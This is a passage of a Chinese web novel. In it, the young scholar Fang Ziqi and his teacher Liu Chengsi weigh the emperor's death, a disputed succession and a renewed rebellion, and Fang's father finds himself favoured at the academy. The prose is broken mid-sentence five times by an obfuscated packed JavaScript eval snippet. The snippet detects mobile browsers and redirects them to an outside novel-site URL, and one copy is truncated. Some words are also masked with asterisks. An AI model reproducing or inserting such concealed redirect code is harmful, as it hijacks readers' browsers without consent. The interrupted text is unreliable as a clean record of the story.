方子期眉毛一扬,此刻忍不住道。 “这个……应该不会吧!” “其实我跟林疏桐这家伙认识的时间和子期你同他认识的时间差不多。” “而且经过这一个月的分离,这家伙跟子期你反倒是更熟稔一些了。” “不过他真要是有才学,为什么非要控名次?” “藏拙?好玩?” “还是说三年磨一剑,就为了在明年秋闱中大放异彩,震惊世人?” “搞不懂这家伙脑子里在想啥。” 花允谦摇摇头。 既然想不通,那索性就不想了。 等归家后。 看到六十八两纹银的苏静姝眼睛都笑得眯成一条缝。 “还是我家子期厉害!” “上个月拿回来十五两银子,这个月又拿回来六十八两!” “宝贝儿子!” “照着这个趋势下去。” “以后咱们家都得靠你养了。” 苏静姝脸上的笑容再也止不住了,随即忍不住抱起方子期,进行了一番慈母般的摇晃。 “阿弟最厉害了!” “阿弟将来是要中状元的!” 大丫笑着道。 “就是就是!阿弟最棒!” 二丫三丫四丫也接连捧场。 “娘子,那里面还有八两银子是我的。” 方仲礼在一旁小声道。 八两银子也是钱啊! 我要存在感。 “啊?” “哦…对对对!” “差点忘了!” “孩子他爹!你也厉害!” “下个月继续努力!” “争取在玄班也拿个名字,像子期一样,拿六十两银子回来!” 苏静姝连忙点头道。 方仲礼:“……” 可太抬举我了! 正常来说玄班第一名是三十两银子的奖励,但因为方子期上个月刚拿过黄班的名次奖励,又拿了玄班的名次奖励,所以奖励翻倍,就变成了三十两银子。 总而言之。 有银子拿就好。 大家的心情都显得很愉快。 第二天,方子期照例去省学,却被告知省学停课七天! 搞得方子期一头雾水…… 还没等他反应过来。 柳府的管家王贵突然走了过来。 “方小相公!” “我家老爷有请。” “快些跟我走吧!” 管家王贵显得有些焦急。 方子期心中一沉。 这是…… 出事了啊。 “王管家。” “你可知老师找我究竟何事?” 方子期快步跟着王管家到了马车上,当即询问道。 “具体我也不清楚。” “不过老爷突然让我们准备白布。” 王管家低头道。 方子期一惊。 难不成…… 不敢想不敢想。 刚太平了没两个月啊。 可千万别闹什么幺蛾子啊。 等去了柳府,发现柳府的牌匾上已经挂上了白布,甚至灯笼都换成了白色的,方子期一脸沉重地快步来到书房。 柳承嗣沉着脸站在那里,双手握紧。 “老师。” “可是出事了?” 方子期直截了当询问道。 “陛下……” “六日前,崩了!” 柳承嗣说话的时候,脸上露出极度哀伤,甚至身体都在急速颤动。 方子期的心,更沉了。 当看到柳府挂上了白布和白灯笼的时候,他就有预感了。 柳府又无人去世,那能让这正四平学政府挂上白布白灯笼的,就只有那位老皇帝崩逝了! 老皇帝坚持了这么久…… 总算还是没挨过这个春天! 方子期不由得想起…当初他唯愿老皇帝能挨过去年的院试…… 当时他就怕老皇帝出事,从而导致大乱…… 老皇帝也成功地熬过去了,连去年的冬天都熬过去了。 怎么就在这春暖花开的春日崩了呢…… 这好不容易到来的两个月太平日子,要瞬间被打破了。 “老师。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254050|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “节哀!” 方子期此刻咬着牙……亦是泪流满面。 他本是哭不出来的。 但是一想到,老皇帝坚挺地熬了这么久,至少让他成功考完了院试才崩……也算是对他有了一些小小的恩情了…… 再加上这气氛…… 所以这眼泪就绷不住了。 “子期!” “大厦将倾!大厦将倾啊!” “有些话我同家人都不敢说,生怕他们外传。” “也唯有在子期你面前,我才能说上一些!” “陛下崩世时,留下了一份遗诏!” “但是现在这诏书在太后手中……” “太后现如今不曾宣读遗诏……” “只说召晋王进京!” “子期!你说!” “陛下这遗诏上,会立谁为君?” 柳承嗣此刻脑子很乱…很乱。 乱到他已经饥不择食地开始向方子期这一九岁孩童询问这等国家大事了。 “老师。” “遗诏是什么内容重要吗?” “现在陛下的遗诏在太后手中。” “那太后想让这遗诏出现什么内容,那就会是什么内容。” “老师。” “晋王……” “将左骑军带走了吗?” 方子期忍不住询问道。 这汉江省内,能够牵制黄角叛军的,也就只有左骑军了。 虽说现在这黄角被敕封了一个两省节度使的官方职务。 但那是叛军啊! 打出了‘苍天已死,**当立’的叛军啊! 这样的叛军头子,随时都有可能反水的。 “这我倒是不知。” “我只知道晋王已经带着卫队出了通衢府。” “子期你的意思是……这黄角会趁着陛下崩逝再度反叛?” “只是他现在已是朝廷正三品的汉江、山岱两省节度使了……” “已身处高位,应当不会随意**了吧?” 柳承嗣此刻心乱如麻,也有些拿不定主意了。 “老师,所以要看左骑军有没有动。” “若是左骑军动了,那黄角必然不会放过汉江省空虚之良机。” 方子期的脑子转动地很快。 现在就祈盼着那晋王没疯癫到带着大军威压京城…… 不然汉江省。 就彻底完了! 第183章 柳承嗣的惊喜时刻 “此事,我定要向巡抚大人汇报。” “早做准备也是好的。” “定不能让那黄角继续做大了。” “子期!” “依你之见,最后是大皇子继位还是…晋王?” 说到晋王的时候,柳承嗣当即眉头一皱。 显然,他并不希望晋王继承大统。 他之忠君思想使得他更信奉传承有序那一套。 先帝又不是无子,为何要让弟弟继承大统? 继承无序,必然会动摇社稷! “这个……” 方子期张了张嘴,显得为难了。 我能怎么说? “老师。” “就目前来看,如果没有其他意外的话,有太后支持的晋王恐怕胜算更大一些。” “毕竟现在这遗诏在太后手中,太后掌握了主动权。” “除非…除非有什么特别的意外事件发生。” 方子期低头道。 “意外事件?” “什么意思?” “子期!你且说明白点。” “你放心。” “只是闲聊罢了!” “出了这个屋子,断然不会让第三人知晓。” 柳承嗣一脸紧张道。 “除非大皇子趁着晋王未抵京前,直接…登基!” “如此就能直接确定了正统!” “那晋王短时间内也没办法了。” 方子期沉声道。 “这……” “但愿……” “但愿如此吧!” “子期!” “你且先回去吧。” “我还有要事。” 柳承嗣深吸一口气,准备出门。 方子期也没多问,拱拱手就离开了。 回家后。 众人都很担心。 尤其是方仲礼和花允谦。 他们可是亲眼见到方子期在省学门口被柳府叫走了。 “子期!” “可是出什么事了?” 方仲礼见方子期怏怏不乐,连忙询问道。 “陛下……” “崩了!” 只四个字,就像是晴天霹雳一般,轰炸在众人的心口上。 “什么?” “崩了?” “那…那是不是又要出乱子了?” “这世道已经够乱了啊。” “再乱下去……” 方仲礼眉头紧锁。 “子期。” “大宗师叫你去,就是为了这件事?” “新君是哪位?” 花允谦显然对这件事情更在乎。 “陛下留了遗诏,遗诏暂时在太后手中,暂时还不曾宣之于众。” “晋王已经连夜赶赴京城去了。” “现在我就怕晋王为了确保皇位无虞,将左骑军也抽调走了,那黄角势必会继续南下。” “到时候这通衢府恐怕都危险了。” “届时我们恐怕又要继续南逃了。” “允谦兄。” “到时候去了青澜湖对面的苍梧城,还要靠着你爹罩着呢!“ 方子期微微一叹,事已至此,也只能硬撑下去了。 “额……” “太后拿了遗诏,那晋王这一次不是铁板钉钉要登基了吗?” “好家伙……” “子期!” “咱们汉江省马上就要成龙兴之地了。” “明年的秋闱,大概率是要增加乡试中榜名额的。” “如此才能彰显陛下之恩德。” “看来明年咱们参加秋闱的学子,有福了。” 花允谦此刻脑子转得倒是快。 “允谦兄,你啊你,大家都在想着这世道要更乱了,也就你…还能想到明年秋闱的事情。” “汉江省真要是乱成了一锅粥,到时候这秋闱能不能举行还是一回事呢!” “反正提前做好准备啊。” “到时候情况要是不对,随时都能走!” “直接去青澜湖对面的苍梧城。” “爹!” “回头你抽时间同大姑三叔他们说一下。” 方子期道。 “嗯!好!” “这遭瘟的世道。” “也不知道什么时候才能稍微消停点。” 方仲礼摇摇头,倍感头疼。 “另外。” “再买一些白布白灯笼回来。” “皇帝驾崩,举国都是要哀悼的。” “娘!这几日就别做红烧肉了。” “若是被有心之人捅出去,也是个麻烦。” “这几日都不要吃肉食。” 方子期叮嘱道。 反正该警惕就要警惕。 因为这七日省学不开课,所以方子期等人只能在家自学了。 方子期也没想着去叨扰那几位夫子。 毕竟国丧期间,低调一些总是好的。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254051|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过方子期这七日倒是去了好几趟柳府。 那位大宗师带回来的消息才是第一手的。 “子期,放心吧。” “晋王没将左骑军带走。” “所以暂时通衢府还是安全的。” 柳承嗣此刻虽然稍松了口气,但是脸色仍旧沉闷、枯槁。 显然对那悬而未决的皇位,仍旧忧心忡忡。 省学不开课第七天,省学又传来通知,说是继续休沐半个月…… 人生无常…… 这么折腾下去,小一个月时间都要过去了。 接下来休沐的时候。 方子期又时常来到柳府,带着柳允昭一起读书,顺便也想着再探探情报。 毕竟现在是敏感时刻,真要是情况不对,那是要第一时间拔腿就跑的。 “子期!” “子期!” 小学堂外,传来柳承嗣惊喜的声音。 只见柳承嗣三步并两步冲进小学堂。 此刻他眼中没有自己的宝贝儿子柳允昭,只是激动地看向方子期。 “你滚出去!” 柳承嗣对着一旁的柳允昭摆摆手,语气显得很不耐烦。 柳允昭:“???” 我是你亲儿子吗? 柳允昭虽然心中腹诽,但还是老老实实地出了小学堂。 眼见着四下无人了,柳承嗣才重重松了口气。 “大皇子登基为帝了!” “就是七日前的事情!” “还是先帝足智多谋,他准备了两份遗诏,一份被太后拿去,另一份让宫人带给了大皇子!” “大皇子当机立断,拿着遗诏直接登基为帝!” “现在京城那边,已经彻底稳定了!” “那晋王还未到京城就匆匆又往回赶!” “子期!大局已定!” “不再会有危机了!” “呼!” “这些日子……” “我这火气可是大得很,嘴上都长了不少大泡。” “现在一切尘埃落定就好!” “子期!” “在京城时,大皇子也曾召见过我几次。” “大皇子秉性纯良、礼贤下士!必定能继承先帝之遗德,成为一位爱国爱民的好君主!” “我大梁!国运昌隆!” 柳承嗣激动地牙齿都在打颤。 他之忠君理念,可从未动摇过分毫! 第184章 我若入京,定为六部侍郎 他甚至在方子期面前说过。 若是晋王登基,他就辞官归隐。 这是将忠君思想刻印到了骨子里啊! “老师!” “现在大局已定,您亦可好好休息几日了。” “最近这段时间,学生见您愁眉不展,亦感到十分担忧。” “老师!” “您是我大梁的擎天柱!您可务必要保重身体啊!” 方子期言辞恳切道。 “子期莫要忧心。” “得知陛下已登基,我也算是安心了!” “社稷江山稳固,才是我大梁之福!” “子期!” “我在京城的同僚给我传来消息。” “说是陛下刚刚登基,当下正是用人之际……” “陛下甚至主动提及了我之名……” “我恐怕在这汉江省待不了多久了。” 柳承嗣脸色微红,提及陛下之时,目光中满是尊崇。 “老师要高升了?” 方子期眼前一亮…… 他这老师,还真是官运亨通啊! 从中进士到现在,满打满算才六年,做到了汉江省正四品学政的位置上不说,现在又有晋升之良机? 不过像柳承嗣这种将忠君思想刻印到骨髓里的臣子,应当是所有皇帝的最爱吧! 哪个皇帝不想培养几个死忠于自己的臣子? 所以柳承嗣能继续高升,倒也在情理之中。 不过…… 现在柳承嗣已经是正四品学政了,既是高升,这品级总要升吧? 新君施恩,这恩情总不能小了。 正四品往上…从三品?还是一步到位正三品? “暂时还未可知。” “只是…有些许风声罢了。” “子期你也不要乱传就是了。” “子期!” “若我前往京城,你可愿随我一起?” “到了京城,我亦可为你举荐前往国子监学习!” 柳承嗣看着方子期,对这个学生,他可是非常看重的。 此刻自然想好好培养。 听到柳承嗣之言,方子期有些懵。 带走自己? 这…… 直奔京城? 还有这好事? 方子期心思一动…… 但是很快他就将自己的激动之心给压下去了。 京城是好地方吗? 以前或许是。 但是现在老皇帝噶了啊,还是好地方吗? 若是柳承嗣高升去了京城,那就是实打实的新君派系。 若是方子期跟着柳承嗣一起去了京城,他的身上也要被彻底打上柳承嗣的标记。 也就是说,若是柳承嗣能够一直官运亨通,那方子期自然能在其庇佑下顺风顺水。 可若是柳承嗣垮了呢? 方子期倒是不担心新帝会厌恶柳承嗣,他就怕这新帝的皇位能坐得稳吗? 这晋王还在那里蠢蠢欲动…… 晋王可不是什么闲散王爷,人家手握左骑军二十万军队,再加上黄角也受了晋王的人情才招安的。 万一他们一联合…… 那新君的位置保得住吗? 方子期就怕什么时候这晋王突然就打出了清君侧的旗号来。 毕竟…谁不想当一回永乐大帝? 永乐大帝破京城后,铁胆忠心的保皇党方孝孺…可就被灭了十族啊…… 啥叫十族? 一般来说来个九族消消乐已经很残酷了。 但是十族是连带着你的朋友、学生、门生故吏、甚至是你曾经的下属官员……都得杀。 换句话说。 可能只是和你吃过一顿饭的人,都得拎出来杀。 这个赌注太大了! 虽然现在柳承嗣名义上是自己的老师。 但并未真正意义上地公之于众,所以他们之间的牵连并不是很深。 可要是跟着柳承嗣去了京城,那这因果就彻底断不掉了。 “老师。” “此事学生还需要回去禀告双亲。” “多谢老师厚爱。” 方子期拱手道。 直接拒绝也不好。 先缓冲一下,好好想一想,到底要不要孤注一掷。 “嗯!这是应当的!” “回去好好问一问才是。” “子期,你莫要担心你家人去了京城的生计问题。” “这些为师都能帮你解决。” “为师这一次若是真有机会去京城的话……” “应当会去六部当个侍郎。” 说到此处,柳承嗣也不由得挺起了脊梁。 他今年才三十六岁啊! 三十六岁的正三品侍郎! 这是通了天的职务! 只要圣眷不衰,将来妥妥是能入阁的。 柳承嗣之所以对方子期说这些,一方面是因为他确实想找个人说一说。 另一方面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256404|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是想向方子期彰显自己的底蕴! 简单来说就是:跟着为师走,保你不吃亏! 方子期千恩万谢…… 随即就离开了柳府。 一路上。 方虎在驾车,方子期在沉思。 往日里方虎在驾车的时候总要同方子期扯几句闲篇的。 但是今日他见方子期眉头紧锁,也就不曾开口了。 回到家后。 方子期亦是一言不发。 搞得他爹娘大气不敢出,皆小心翼翼的。 就连周夫子的读书声都彻底敛去了。 等到了晚饭时间。 方子期先干了一大碗饭,随即长长吐出一口浊气。 “子期!” “没…没啥事吧?” “你可别吓唬娘。” 苏静姝满脸担忧道。 “啊?” “没事啊!” “娘,我能有什么事?” “只是在想些事情罢了。” 方子期微微一笑道。 见方子期的脸不再严肃,众人才跟着松懈下来。 “子期!” “没想到你严肃起来这般有威严!” “刚才我可是真被你小子吓到了!” 花允谦扒拉着饭碗道。 花允谦这个吃货,时常在方家蹭饭,所以大多数情况下,花允谦晚饭都是在方家吃的。 不过这家伙也不是那种贪小便宜的人,方子期家里的米面这家伙基本全包了。 “子期,可是大宗师那边出了事情?” 周夫子询问道。 “不是大宗师…也是大宗师……” “是大皇子已经登基了!改国号为‘启元’!今年就算是启元元年了!” “另外晋王也已经在返回通衢府的路上。” “这场因老皇帝驾崩所造成的政变风波算是暂时偃旗息鼓了。” 方子期解释道。 众人皆松了口气。 唯有花允谦苦着一张脸。 “啥?” “大皇子登基了?” “那晋王不是完了吗?” “历朝历代,哪个皇帝能允许同自己争抢帝位的兄弟叔侄活着?” “到时候晋王岂不就成了反王?” “咱们汉江届时可就成了既有反王又出过叛军的地方……” “这这这……不会明年秋闱的名额要缩水吧?” 花允谦说了一大通,最后居然扯到秋闱上去了。 第186章 叛军再起!风雨飘零! 方子期好一通安抚,才给安抚住了。 眼看着省学休沐结束的日子也快到了。 这一次休沐…… 足足休沐了二十多天! 国丧之事。 确实不容小觑。 而关于那位柳大宗师要升迁的消息不知怎的,也跟着传了出来。 不少人都亲自前往柳府询问,对于此,柳承嗣闭口不言,就说完全不知道。 而在这期间内…… 整个大梁朝都在传播着一些所谓的皇室秘闻。 说什么老皇帝当初是立晋王为帝的,只是晋王距离远,被大皇子篡改了遗诏,抢先一步登基了。 说什么大皇子得位不正,正统应当是晋王…… 这些事关皇家的秘闻,素来是百姓们乃至于达官贵人们最喜欢的。 街头巷尾,小声低语,倒是好不痛快。 尤其是在通衢府内,方子期出去溜达一圈,都能听到有人在谈及此事。 而奇怪的是,这个时候那些负责维护皇权稳定、**潜在威胁的鹰扬卫就像是瞎了一样,对这些流言根本不加以制止。 更有传言说。 陛下刚登基之后就任人唯亲、屠戮了一大批先帝留下来的肱股之臣。 还说太皇太后现在都被新帝软禁了。 总而言之。 **的风向都是朝着新帝泼脏水。 方子期此刻感受到了一种山雨欲来风满楼之感。 而恰逢此时…… 已经受招安,被朝廷敕封为正三品两省节度使的张角突然纵兵越境,前往北原省大肆烧杀抢掠。 一时间。 风起云涌! 战乱再起! 因柳承嗣眼看着马上就要赴京就职了,所以方子期近些天去柳府倒是勤快了些。 也不知道再相见是什么时候了。 这个时候多相处相处,多培养一下感情。 顺便,多陪柳允昭读读书。 这家伙此刻已然成了方子期的跟屁虫了。 方子期说什么,他就做什么。 一想到要和方子期分离了,就难过地想哭。 在这偌大的学政府内,想找一个像方子期这样的同龄的玩伴实在是太难了。 “子期兄,你当真不去京城吗?” “京城可繁华了,什么都有!” “到处都是精美的建筑!” “你要是去了京城,到时候我保证能带你吃遍天!” 柳允昭试图说服方子期。 只是现在方子期早就铁了心了。 他现在能量就这么大。 上位者之间的争斗,捎带手踩死他这样一只小蚂蚁简直不要太容易。 他可不想往火坑中跳。 咚咚咚! 急促的脚步声传来。 柳承嗣沉着脸走了过来。 “爹!” “今日我将文章都背熟了……” 柳允昭还想向他爹炫耀一下。 “允昭。” “你先滚出去。” “我同子期要话要说。” 柳承嗣不耐烦地朝着柳允昭摆摆手。 柳允昭嘴巴一瘪。 好好好! 终究还是错付了! 我是多余的! 等柳允昭离开小学堂后,方子期当即走上前。 “老师,可是又出了什么事?” 方子期沉声道。 情况不大对啊…… 难不成是他老师的晋升之路被断了? 侍郎梦破碎了? “呼!” “黄角再度反叛!” “带兵偷袭了北原省的汾阳府!” “汾阳府已被攻克!” “战端再起!” “事态又闹大了!” 柳承嗣咬着牙,眼眸中露出愤懑之色。 “子期!” “你说得对!” “这种反贼!是养不熟的!” “朝廷的高官厚禄都喂了狗了!” “没想到这黄角趁机休养了几个月,又要**!” “士可忍孰不可忍!” “实在该死!” “这些反贼都该被千刀万剐!” 柳承嗣咬牙切齿道。 此刻气得气息紊乱。 “老师。” “这黄角,是又举起了反旗?还是寻了个借口攻打的汾阳府?” 方子期此刻自然要询问清楚了。 “嗯?” “这有什么区别吗?” 柳承嗣愣了一下,不过还是继续解释道:“这一次倒也确实没有直接祭出反旗,说是汾阳府的知府之子在宁江府的青楼中打**一个歌姬,而黄角说他早就认了那歌姬当干女儿……” “所以他就用为自己干女儿复仇的名义,攻打了汾阳府……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256406|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不过这必然只是个说辞罢了!” “谁会认一个歌姬当干女儿?” “既认了干女儿,又怎么可能还将其放置于青楼之中?” “欲加之罪何患无辞!” “这个黄角目无法度!更无君王!” “实在该死!” “此僚不除,大梁社稷难安!” 柳承嗣黑着脸道。 “老师,朝廷对此事…难道就没有说法吗?” “这北原省毗邻京畿省……” “京城可就在京畿省中……” “若是黄角转道……” 方子期默默说了一嘴。 柳承嗣深吸一口凉气。 “刚才我只顾着生气,倒是没注意到这些!” “若是这黄角只是借道北原省,最终目的是为了攻打京畿省……” “那京城岂不是也将身陷虎狼之口?” “不过京城的四大营加上羽林卫等…少说也有十万精锐。” “护卫京城还是足够的吧?” “黄角有那么大的胆子攻打京城?” “应当无可能吧!” “京城的卫戍部队只需要坚守几日,各地的勤王之兵也该赶到了。” 柳承嗣还是难以置信这黄角能这么疯癫? 方子期心中微微一叹。 人家是叛军啊。 连**诛九族的事情都敢干,有什么不可的? “老师……” “学生也只是随意分析罢了。” “但愿不会到那一步。” “老师,最好延缓入京日期……” 方子期提醒道。 柳承嗣眉头一皱。 “正式的圣旨还不曾下来。” “具体日期我亦不知。” “若是真到了那一步……” “这江山社稷都将毁于一旦,我个人之身又算得了什么?” “哎!” “本以为一切都尘埃落定……没想到又生波折。” “我大梁,风雨飘摇啊!” “朝廷来了旨意,让晋王带领左骑军和各府府兵去平叛……” “亦不知会是什么结果。” 柳承嗣苦笑一声,显然他也没什么信心。 “额……” 方子期嘴角一抽,这又是什么骚操作? 让二号反贼去打一号反贼吗? 这不是贻笑大方吗? 第187章 爹,这都是我给你打下的江山 对于刚丢了帝位的晋王而言,他恐怕巴不得这世道更乱一些吧? 这水搅浑了,他才好摸鱼啊。 而且这新帝一登基,黄角就反了,岂不是说明这新帝无能吗? 这多好的攻讦理由啊。 “子期亦感没有机会吗?” “这左骑军……” “好歹拥兵二十万……” “再加上各地府兵……真要是决心一战……” 柳承嗣深吸一口气,神色中透着期望。 其实他什么都明白,只是…还怀揣着一丝莫须有的希望罢了。 “老师,若是决心一战,确有几成机会。” “但……” “晋王大概率是出工不出力的。” “陛下让晋王率领左骑军去平叛,岂非肉包子打狗……” 方子期打了一个不太恰当的比喻。 但也差不多就那么回事了。 “为师亦不知道陛下究竟是如何考虑的。” “黄角反贼,理应调集天下兵马,一举将其覆灭才是。” “如此才算是解了后顾之忧。” “让晋王平叛,晋王亦不走心……” “到时候这黄角反贼的势力极有可能越剿越大。” “到时候尾大不掉……” “徒呼奈何!” “我若入京,必定向陛下**!” “无论付出何等代价,也一定要铲除反贼黄角!” 柳承嗣下定决心道。 “老师,陛下英明神武,我们都能知晓的事情,陛下能不知道?” “陛下恐怕是笃定了晋王不会真心剿灭反贼,届时陛下就可以趁机问罪于晋王。” “或削藩,或缉拿……” “也算是有了由头了。” 方子期暗暗道。 这话一出。 柳承嗣双目瞬间瞪大。 “子期,你也是这样认为的?” “你倒是和文和之意相差不多。” “削藩什么时候都能削,为什么非要挑在当下这社稷动荡之时啊!” “朝堂诸公怎么也不去劝说一下陛下。” “看来我确实要早些入京了。” 柳承嗣舔了舔嘴唇,此刻的目光前所未有的坚定。 方子期:“……” 不愧是忠君之楷模。 只是…… 京城现在才是虎狼之窝啊! 方子期劝了又劝,让柳承嗣尽可能地拖延入京的日子。 但是柳承嗣的态度很坚决。 一副我不下地狱谁下地狱的强硬姿态。 世人都笑他是舔靴公,然,朝堂衮衮诸公,将忠君思想刻印到骨髓中的舔靴公,又有几人? 抛开一切不谈。 方子期还是很敬佩柳承嗣的骨气的。 此事若是放在他身上,方子期自言做不到。 什么**皇帝不皇帝的,先保住我一家人的小命再说。 回家后。 方子期将黄角再度叛乱的事情说了一下。 众人虽义愤填膺,但还算适度。 毕竟这板子不打在自己身上不疼。 “呼!” “若是这黄角继续南下攻打通衢府,那才是天大的祸事了。” “哎……” “**再起。” “这世道什么时候能稍微清净些?” 方仲礼无奈摇头道。 “爹!” “短时间内,恐怕都得**了。” “至于之后会发展成什么样,谁也不知道。” “我们所能做的,就是多攒些银钱,将来跑路的时候心里也有底。” “还有就是好好读书。” “争取来年咱们父子都中举。” “到时候不管这皇帝是谁坐,有举人功名在,日子倒也不会太差就是了。” “就是大宗师若是去了京城,以后倒是没机会拿到第一手的消息了。” 方子期眉毛一扬…… 最近柳承嗣只要一听到什么消息,就要第一时间告诉方子期。 方子期提前得知消息,心中也能安稳一些。 若是没个稳定的消息来路,整日里战战兢兢的倒也不行。 “子期。” “林疏桐那小子他爹是通衢府的税课司大使。” “虽然级别不高,但是胜在是个肥差,消息来路倒是不差的。” “回头我隔三差五地让他请客吃饭,到时候听些消息倒是问题不大。” 花允谦笑着道。 方子期点点头。 这林疏桐的爹虽然只是个正九品的税课司大使,但到底是官身,消息来路定然比他多。 至于省学的刘教授那边…… 这位刘教授虽亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256407|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有正六品官身,以前还当过正三品的礼部侍郎,但是这老爷子似乎对朝廷诸事都不感兴趣,也从未同方子期提及过此类事件,搞得方子期都有些不好把握了。 好在方子期不是那种喜欢内耗的人。 且走一步看一步吧! 恰逢省学也开学了。 方子期同方仲礼、花允谦就又回到了读书的正轨上来。 花允谦仍旧在黄字号四班,方仲礼去了玄字号二班,方子期则去了地字号一班。 当方仲礼来到玄二班后,眼见着周边的那些同窗对他格外热忱,甚至直接上前嘘寒问暖的,搞得方仲礼有一种毛骨悚然感。 “多谢孙同窗好意了,我尚不饿,这糕点就不吃了。” “吴同窗,我也不渴……” “赵兄,你实在是太客气了……” 方仲礼此刻颇有一种应付不过来的感觉。 原本方仲礼还不理解同窗们为何对他如此热情。 但是上课了之后。 方仲礼隐约间能感受到一些了。 因为他发现…这玄二班的许夫子也对他另眼相待! 不到一个时辰…… 他已经被许夫子叫起来回答了十多个问题了…… 其余同窗被许夫子叫起来回答问题的数量记在一起都没方仲礼多…… “仲礼啊!” “你之学问还算扎实。” “然!同子期比起来,相去甚远!” “你回家后,定要向子期好好学习才是!” “读书之路,定要勤勉!” “你既为父,在学问上莫要被子期赶超太多才是!” “圣人云,子类父!” “你可要给子期做个好榜样!” 许夫子私底下,笑着对方仲礼道。 方仲礼连忙点头称是。 破案了! 这玄二班,是吾儿子期给我打下的江山? 怪不得那些同窗见到他就像是见到了亲兄弟一样…… 合着…… 我方仲礼是吾儿子期的替代品? 有我方仲礼在,许夫子的注意力大多在他身上,因此同窗们的压力就小得多了。 说好听点,同窗们爱他、敬他…… 说难听点,这群同窗…将他当成挡箭牌了啊! 当真是…坏得很!有辱斯文! 第188章 **,刘青芝的客人 此刻在地一班中的方子期下意识打了个喷嚏。 地一班授课的夫子名叫吴守拙,是个五十多岁的老学究,有着同进士的功名,头顶毛发不多。 之前在玄二班的时候,那些同窗整天说许夫子脾气差,但是方子期觉得,同这位地一班的吴夫子比起来,许夫子算什么? 这吴夫子上课的时候,虽学问不错。 但是十分刻板。 方子期此刻听得真想睡觉了。 这还是他在省学第一遭。 不管是黄四班的韩夫子还是玄二班的许夫子,他都能做到认真听讲…… 但是听这地一班吴夫子授课…实在是…煎熬得很。 学问虽不错,但确实不太适合教书育人。 方子期瞥了一眼周遭的同窗们…… 大多都一副昏昏欲睡的神情。 “你!” “还有你!” “站起来听课!” “你在打瞌睡?” “滚出去!” “王彦卿!” “过来领板子!这个问题我说过多少遍了?” “还有你……” “谢承裕!答非所问!还昏昏欲睡!” “你那一排!都过来领板子!” …… 呵斥声传来。 方子期本来在吃瓜看戏。 但是突然见这吴夫子叫起了一个名唤谢承裕的学子…… 这个谢承裕因为打瞌睡被吴夫子盯上了,然后被叫起来回答问题也回答不上来。 这吴夫子脾气火爆之下,居然还搞起了连坐制度,要将同谢承裕同处于一排的几个学子都拉上去打板子。 当然。 这个谢承裕被打的板子最多,足足十板,被他连累的学子各被打了一板子。 方子期悲催地发现,他居然同这个谢承裕也是同一排的。 这是人在家中坐,祸从天上来? 方子期倒是没打算同这位吴夫子争论些什么。 这吴夫子的脾气实在是…太臭太臭了。 有个学子稍有质询,就又另加了十板子。 方子期麻了。 “早知如此……” “还不如待在玄二班啊!” “至少还有个和蔼可亲的许夫子在……” 方子期微微一叹…… 课间的时候,他也歇了去私下请教的心思。 因为他见有学子上前讨论,被这吴夫子狠狠地奚落了一番。 这…… 这样的人真能在省学当夫子吗? “方兄,实在抱歉!” “哎!都是我学术不精,连累了方兄。” 一旁,谢承裕微红着脸道。 这话倒也不假,若非是他回答不上来问题,方子期这些同他坐一排的人也不至于被连坐。 但…… 谢承裕也是受害者就是了。 这仇该记在吴夫子头上。 “谢兄,此事同你无关,你不用挂怀。” “这吴夫子,素来如此吗?” “这般跋…额…这般教学,无人约束吗?” 方子期本想说这吴夫子太跋扈了。 